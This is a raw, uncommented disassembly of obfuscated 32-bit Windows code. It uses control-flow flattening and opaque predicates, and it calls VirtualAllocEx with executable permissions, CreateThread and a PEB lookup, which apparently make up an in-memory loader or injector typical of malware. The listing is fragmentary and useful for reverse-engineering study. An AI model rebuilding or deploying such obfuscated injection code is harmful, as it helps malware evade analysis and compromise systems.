mov eax, 0x4ba6d316
jmp 0x401d00
mov eax, 0x96c9addf
jmp 0x401d00
mov eax, 0x8bacc94c
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x63bc4830
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xb4732a81
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
mov edi, 0xb4732a81
jmp 0x40528d
mov eax, dword [esp + 0x174]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x38]
lea ecx, [ecx + ecx*4]
mov ecx, dword [edx + ecx*8 + 0xc]
lea edx, [esp + 0x180]
add ecx, esi
push edx
push dword [esp + 0x174]
push dword [eax]
push ecx
vzeroupper
call fcn.00401a00
add esp, 0x10
mov eax, 0x451cce5a
jmp 0x401d00
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x170], eax
mov eax, dword [esp + 4]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8 + 8]
mov dword [esp + 0x174], eax
mov eax, 0x897d843f
jmp 0x401d00
mov eax, 0x370f3355
jmp 0x401d00
mov eax, dword [esp + 0x34]
mov dword [esp + 0x154], eax
mov eax, 0x15d54ee5
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x58c1498e
mov ebx, 0xfcbb3b76
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xfcbb3b76
jmp 0x401cda
mov eax, dword [0x4803f0]
mov ebx, 0x1156448c
mov edi, 0x7bf89312
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x7bf89312
jmp 0x405280
mov eax, dword [esp + 0xc4]
add eax, 2
mov dword [esp + 0x140], eax
mov eax, 0xd3dbb448
jmp 0x401d00
mov eax, 0x797a69d1
jmp 0x401d00
mov eax, esi
sub eax, dword [ebp + 0x34]
mov dword [esp + 0xc8], eax
mov eax, dword [esp + 0x184]
add eax, esi
mov dword [esp + 0x104], eax
mov eax, 0x477cfb4a
jmp 0x401d00
mov eax, dword [esp + 0xd4]
mov edx, 0x837ad0f2
mov ecx, dword [eax + 0x28]
mov eax, dword [eax + 0x2c]
mov dword [esp + 0x188], eax
mov dword [esp + 0x184], ecx
test eax, eax
mov eax, 0xed6c3b78
mov ecx, dword [ebp + 0x50]
cmove eax, edx
mov dword [esp + 0xd8], ecx
jmp 0x401d00
lea eax, [ebp + 0x50]
mov dword [esp + 0xe4], eax
mov eax, 0x847a7d75
jmp 0x401d00
mov eax, 0x934f99c5
jmp 0x401d00
mov eax, 0x3b7690eb
jmp 0x401d00
mov eax, dword [esp + 0x24]
mov dword [esp + 8], esi
mov dword [esp + 0xa4], eax
mov eax, 0xb5c767da
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xf9f0a954
mov edi, 0x63071a76
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x63071a76
jmp 0x405278
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xd4820008
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x478ad5c6
jmp 0x405564
mov eax, 0xb03d0678
jmp 0x401d00
mov eax, 0x56cd8c0
jmp 0x401d00
mov eax, dword [ebp + 0x28]
add eax, esi
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0xbc], eax
movzx eax, byte [esp + 0x19]
mov byte [esp + 0x23], al
mov eax, 0xa47ebc9d
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xd103afea
mov edi, 0x5a2612e7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5a2612e7
jmp 0x405280
mov eax, dword [0x4803f0]
inc dword [esp + 0x28]
mov ebx, 0xb67379e3
mov edi, 0x478ad5c6
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x478ad5c6
jmp 0x405278
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xe24ba8f4
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x2daecb1a
jmp 0x405438
mov eax, dword [esp + 0x8c]
mov ebx, 0x90ef4616
mov edi, 0x8b0e0e8b
movzx eax, word [eax + 0x10]
add eax, dword [esp + 0x54]
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8b0e0e8b
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x4ac83cf8
mov ebx, 0xefe0f1f5
mov dword [esp], 0xd
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xefe0f1f5
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x401d00
mov eax, dword [esp + 0x138]
mov ecx, 0x7cb08716
cmp dword [eax], 0
mov eax, 0x3a48e783
cmove eax, ecx
jmp 0x401d00
mov eax, 0x9f9f8854
mov dword [esp], 1
jmp 0x401d00
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 0x15467cb1
jmp 0x401d00
mov eax, 0x6b903bf9
jmp 0x401d00
mov eax, 0x97b7a699
jmp 0x401d00
mov eax, 0xbc9fcfad
jmp 0x401d00
mov eax, 0xd940cbcf
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xfa8d9673
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xa96f32dd
jmp 0x405564
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x92ac5d84
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x6f449c4b
jmp 0x405438
mov dword [esp], 0xa
mov eax, 0x27b76d92
jmp 0x401d00
mov eax, 0xcc0c14cc
jmp 0x401d00
mov eax, dword [esp + 4]
mov ecx, dword [esp + 0x38]
mov dword [esp + 0xc], 0x40
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*8 + 0x24]
mov dword [esp + 0x160], eax
mov eax, 0xc3cee479
jmp 0x401d00
mov eax, 0x7782632d
jmp 0x401d00
mov eax, dword [esp + 0x17c]
mov edi, dword [esp + 0x44]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esp + 0x7c], eax
lea eax, [esp + 0x19c]
mov dword [esp + 0x80], ecx
mov dword [edi + 4], eax
push eax
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
mov word [edi], ax
mov eax, 0x1e941db5
jmp 0x401d00
mov eax, dword [esp + 0x30]
mov dword [esp + 0x90], eax
movzx eax, word [ebp + 6]
mov dword [esp + 0x94], eax
mov eax, 0xcc94b4e8
jmp 0x401d00
movzx eax, word [esp + 0x3c]
mov edi, 0x642a4868
mov ebx, 0xcf0a845a
mov ecx, eax
xor ecx, 0xcfff
test cx, ax
mov eax, dword [0x4803f0]
setne byte [esp + 0x1d]
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0xcf0a845a
jmp 0x401cd2
mov eax, 0x6f7782f4
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x2cc43193
mov edi, 0x8ce5f663
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x8ce5f663
jmp 0x405280
mov eax, dword [esp + 0x114]
mov dword [esp + 0x40], eax
mov eax, 0x18af058d
jmp 0x401d00
mov eax, 0x59188675
jmp 0x401d00
mov eax, dword [esp + 0xec]
push 0x40
push 0x3000
push dword [esp + 0xf0]
push 0
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov eax, 0x35d760b8
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x819f391e
mov edi, 0x8163c71f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x8163c71f
jmp 0x405278
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov ebx, 0x15467cb1
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x3a468bc0
jmp 0x405161
mov eax, dword [esp + 0xa8]
mov dword [esp + 0x40], 0
mov eax, dword [eax]
add eax, 0xfffffff8
shr eax, 1
mov dword [esp + 0x74], eax
mov eax, dword [esp + 0x24]
add eax, 8
mov dword [esp + 0x10], eax
mov eax, 0x58c1498e
jmp 0x401d00
cmp byte [esp + 0x1d], 0
mov eax, 0x7555d987
mov ecx, 0xa8d09292
cmovne eax, ecx
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0x370f3355
mov edi, 0x58aabb5
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x58aabb5
jmp 0x405278
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xf10345f4
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x9b73b841
jmp 0x405438
mov eax, dword [esp]
mov ebx, 0x370aa2e5
mov edi, 0xbf48c7d1
mov dword [esp + 0x158], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xbf48c7d1
jmp 0x405280
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x7fe85b5c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x8b0e0e8b
jmp 0x405564
mov eax, dword [esp + 0x104]
mov dword [esp + 0x50], 0
mov dword [esp + 0x24], eax
mov eax, 0xccfa94f1
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x30f380e7
mov ebx, 0xa8a2075a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xa8a2075a
jmp 0x401cda
mov eax, dword [0x4803f0]
mov edi, 0xf510aa1a
mov ebx, 0x5a2612e7
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5a2612e7
jmp 0x401cd2
mov eax, dword fs:[0x30]
mov dword [esp + 0x68], eax
mov eax, 0x1156448c
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xd9e8e16c
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xcf31982
jmp 0x405564
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xe54254fd
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x58aabb5
jmp 0x405564
mov eax, 0x36192c2b
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x7e4eaf05
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xab228f54
jmp 0x405438
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov ebx, 0xca59b172
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4bf6c03a
cmovne edx, ebx
cmp eax, 0xffffffff
mov eax, edx
cmove eax, ebx
jmp 0x40556f
mov eax, dword [0x4803f0]
mov ebx, 0x96c9addf
mov edi, 0x5ca3148f
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x5ca3148f
jmp 0x405278
mov eax, 0x289858dc
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xe5e4263d
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x156c7f9c
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
mov edi, dword [esp + 0x44]
cmp ecx, 0xa
cmovge eax, edx
mov dword [esp + 0x17c], edi
jmp 0x401d00
mov eax, 0x934f99c5
jmp 0x401d00
mov ecx, dword [esp + 0x14]
mov eax, ecx
xor eax, 0xdfffffff
and eax, ecx
mov dword [esp + 0xb4], eax
mov eax, 0xbac8706b
jmp 0x401d00
mov eax, dword [esp + 0xa4]
mov ebx, 0xe1b3cb54
mov edi, 0xcf31982
mov eax, dword [eax]
add eax, dword [esp + 8]
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x24]
add eax, 4
mov dword [esp + 0xa8], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xfffffffe
test ecx, eax
mov eax, 0xcf31982
jmp 0x405280
mov eax, dword [0x4803f0]
cmp dword [esp + 0x14], 0
mov ebx, 0xf71b056
mov edi, 0x31bf154c
lea ecx, [eax - 1]
sets byte [esp + 0x21]
imul ecx, eax
mov eax, 0x31bf154c
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401d00
mov dword [esp], 0xc
mov eax, 0xc3d51546
jmp 0x401d00
cmp byte [esp + 0x1f], 0
mov eax, 0x6b204433
mov ecx, 0x4ebecc0c
cmovne eax, ecx
jmp 0x401d00
mov eax, dword [esp + 0x50]
mov dword [esp + 0x108], eax
mov eax, 0xfa2d5669
jmp 0x401d00
mov eax, 0x6c55d1be
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x2731b14a
mov dword [esp + 0x88], ebp
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x37309220
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401d00
mov eax, 0x342d9270
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ebx, 0xab8c9749
mov edi, 0x7d726367
mov dword [esp], 7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x7d726367
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, ebx
cmp dword [0x4803ec], 0xa
setl dl
cmovge eax, edi
xor dl, cl
cmovne eax, ebx
jmp 0x401d00
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x34]
lea eax, [eax + ecx*4]
mov dword [esp + 0x138], eax
mov eax, 0xbc4e7698
jmp 0x401d00
mov eax, dword [esp + 0x110]
inc eax
mov dword [esp + 0x114], eax
mov eax, 0xaf795497
jmp 0x401d00
push 0xffffffffffffffff
push dword [esp + 0xc0]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp + 0x5c], 0
mov eax, 0xd8079669
jmp 0x401d00
cmp byte [esp + 0x1e], 0
mov eax, 0xd6fcc60d
mov ecx, 0xb1889309
cmovne eax, ecx
jmp 0x401d00
mov eax, 0x84f29544
jmp 0x401d00
mov eax, 0xfa8d9673
jmp 0x401d00
mov eax, 0x37d0a07d
jmp 0x401d00
mov eax, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x27b76d92
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x5e44c5a8
cmovne ebx, edi
test eax, edx
mov eax, ebx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, ebx
jmp 0x401d00
mov eax, 0x270b1c3e
jmp 0x401d00
mov eax, dword [0x4803f0]
mov edi, 0x375df7f9
mov ebx, 0x5864cf5c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x5864cf5c
jmp 0x401cda
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0xb7faed81
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb51b8c37
jmp 0x405564
mov eax, 0x39d6acea
mov dword [esp + 0x5c], 1
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x50da2830
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xab228f54
jmp 0x405564
mov eax, dword [0x4803f0]
mov edi, 0xffc70adf
mov ebx, 0x4f95e24d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x4f95e24d
jmp 0x401cd2
mov eax, dword [esp + 0x10c]
mov ecx, dword [esp + 0x108]
cmp ecx, dword [eax]
mov eax, 0xc5716b27
mov ecx, 0x4b2a3845
cmovb eax, ecx
jmp 0x401d00
mov edx, dword [0x4803f0]
mov ecx, dword [0x4803ec]
mov edi, 0x23fc268a
lea eax, [edx - 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xda6d5cce
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x401d00
mov eax, 0xccfa94f1
jmp 0x401d00
mov eax, 0x5568eb59
jmp 0x401d00
mov ecx, dword [esp + 0x14]
mov edi, 0xd35001ba
mov ebx, 0xce9c9c60
mov eax, ecx
xor eax, 0xdfffffff
and eax, ecx
mov dword [esp + 0x16c], eax
mov eax, dword [0x4803f0]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xce9c9c60
jmp 0x401cda
mov eax, dword [0x4803f0]
mov edi, 0x1473a685
mov ebx, 0xb8506601
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xb8506601
jmp 0x401cda
cmp eax, 0x52b30003
jne 0x401d00
mov ecx, dword [esp + 0x1b814]
xor ecx, esp
vzeroupper
call fcn.00439dc0
mov eax, dword [esp + 0x5c]
add esp, 0x1b818
pop esi
pop edi
pop ebx
pop ebp
ret